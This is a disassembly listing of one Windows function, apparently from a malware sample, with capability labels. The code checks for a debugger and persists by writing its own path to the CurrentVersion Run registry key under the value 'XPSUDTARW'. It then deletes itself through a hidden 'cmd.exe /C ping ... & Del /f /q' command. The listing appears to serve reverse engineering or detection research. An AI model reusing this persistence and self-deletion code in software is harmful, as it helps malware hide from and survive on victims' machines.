Function at 0x410f50
Capabilities:
Create process on windows
Create thread
Persist via run registry key
Query or enumerate registry value
Self delete
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x484b72
mov eax, dword fs:[0]
push eax
sub esp, 0x794
mov eax, dword [0x4b6134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call edi
test eax, eax
jne 0x410f83
call fcn.00410e40
nop
call edi
test eax, eax
jne 0x410f90
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0x64
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x410fff
push esi
push esi
lea eax, [ebp - 0x644]
push eax
push esi
push str.XPSUDTARW
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x411037
lea eax, [ebp - 0x62c]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
push 0x412
lea eax, [ebp - 0x218]
push eax
push 1
push 0
push str.XPSUDTARW
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call fcn.0046ccd1
push eax
call fcn.00468795
add esp, 8
call fcn.00468774
mov ecx, 0xfffff061
cdq
idiv ecx
lea ecx, [ebp - 0x7a0]
mov dword [ebp - method.std::_Func_impl_no_alloc_void____cdecl___void___void___.virtual_0], vtable.std::_Func_impl_no_alloc_void____cdecl___void___void___.0
mov dword [ebp - 0x79c], 0x410e10
mov dword [ebp - 0x77c], ecx
lea esi, [edx + 0x3e8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x674]
mov dword [ebp - 0x644], eax
mov dword [ebp - 0x650], 0
mov byte [ebp - 4], 1
test ecx, ecx
je 0x4110be
mov eax, dword [ecx]
lea edx, [ebp - 0x674]
push edx
mov eax, dword [eax]
call eax
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], esi
push 0x30
mov byte [ebp - 4], 2
call fcn.0045d73a
mov esi, eax
add esp, 4
mov dword [esi + 0x24], 0
mov ecx, dword [ebp - 0x650]
test ecx, ecx
je 0x411127
lea eax, [ebp - 0x674]
cmp ecx, eax
jne 0x41111a
mov eax, dword [ecx]
push esi
mov eax, dword [eax + 4]
call eax
mov dword [esi + 0x24], eax
mov ecx, dword [ebp - 0x650]
test ecx, ecx
je 0x411127
mov edx, dword [ecx]
lea eax, [ebp - 0x674]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
jmp 0x41111d
mov dword [esi + 0x24], ecx
mov dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x64c]
mov dword [esi + 0x28], eax
mov dword [ebp - 0x644], esi
lea eax, [ebp - 0x62c]
mov byte [ebp - 4], 3
push eax
push 0
push esi
push 0x41d940
push 0
push 0
call fcn.00468ef7
add esp, 0x18
mov dword [ebp - 0x630], eax
test eax, eax
je 0x4114c0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x62c]
test ecx, ecx
je 0x4114d1
push ecx
push eax
call fcn.0045bb4c
add esp, 8
test eax, eax
jne 0x4114d8
mov ecx, dword [ebp - 0x650]
xorps xmm0, xmm0
movlpd qword [ebp - 0x630], xmm0
test ecx, ecx
je 0x4111b0
mov edx, dword [ecx]
lea eax, [ebp - 0x674]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov ecx, dword [ebp - 0x77c]
test ecx, ecx
je 0x4111ce
mov edx, dword [ecx]
lea eax, [ebp - 0x7a0]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [ebp - 0x778], 0
mov dword [ebp - 0x760], 0
mov dword [ebp - 0x748], 0
mov dword [ebp - 0x730], 0
mov dword [ebp - 0x718], 0
mov dword [ebp - 0x700], 0
mov dword [ebp - 0x6e8], 0
mov dword [ebp - 0x6d0], 0
mov dword [ebp - 0x6b8], 0
mov dword [ebp - 0x6a0], 0
mov dword [ebp - 0x768], 0
mov dword [ebp - 0x764], 0xf
mov byte [ebp - 0x778], 0
mov dword [ebp - 0x750], 0
mov dword [ebp - 0x74c], 0xf
mov byte [ebp - 0x760], 0
mov dword [ebp - 0x738], 0
mov dword [ebp - 0x734], 0xf
mov byte [ebp - 0x748], 0
mov dword [ebp - 0x720], 0
mov dword [ebp - 0x71c], 0xf
mov byte [ebp - 0x730], 0
mov dword [ebp - 0x708], 0
mov dword [ebp - 0x704], 0xf
mov byte [ebp - 0x718], 0
mov dword [ebp - 0x6f0], 0
mov dword [ebp - 0x6ec], 0xf
mov byte [ebp - 0x700], 0
mov dword [ebp - 0x6d8], 0
mov dword [ebp - 0x6d4], 0xf
mov byte [ebp - 0x6e8], 0
mov dword [ebp - 0x6c0], 0
mov dword [ebp - 0x6bc], 0xf
mov byte [ebp - 0x6d0], 0
mov dword [ebp - 0x6a8], 0
mov dword [ebp - 0x6a4], 0xf
mov byte [ebp - 0x6b8], 0
mov dword [ebp - 0x690], 0
mov dword [ebp - 0x68c], 0xf
mov byte [ebp - 0x6a0], 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 4], 5
push eax
push 0x20019
push 0
push str.SoftwareSoftwareClient
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x411397
push eax
push eax
lea eax, [ebp - 0x644]
push eax
push 0
push 0x4a3dc0
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x411397
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4113ae
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x778]
call fcn.00407c40
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 0xf
mov byte [ebp - 0x640], 0
mov byte [ebp - 4], 6
call fcn.0040a1d0
nop dword [eax]
call edi
test eax, eax
jne 0x4113e0
call fcn.0040fa10
nop dword [eax + eax]
call edi
test eax, eax
jne 0x4113f0
call fcn.0040a1d0
nop dword [eax + eax]
call edi
test eax, eax
jne 0x411400
push 0x44
push eax
lea eax, [ebp - 0x688]
push eax
call fcn.0045f780
add esp, 0xc
lea eax, [ebp - 0x218]
xorps xmm0, xmm0
movups xmmword [ebp - 0x638], xmm0
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x218]
push eax
push str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
lea eax, [ebp - 0x628]
push 0x208
push eax
call fcn.0040aea0
add esp, 0x10
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x688]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x628]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x634]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x638]
call esi
lea ecx, [ebp - 0x778]
call fcn.004114e0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045d512
mov esp, ebp
pop ebp
ret
push 6
mov dword [ebp - 0x62c], 0
call fcn.0045c01b
push 1
call fcn.0045c01b
push eax
call fcn.0045bfee
int3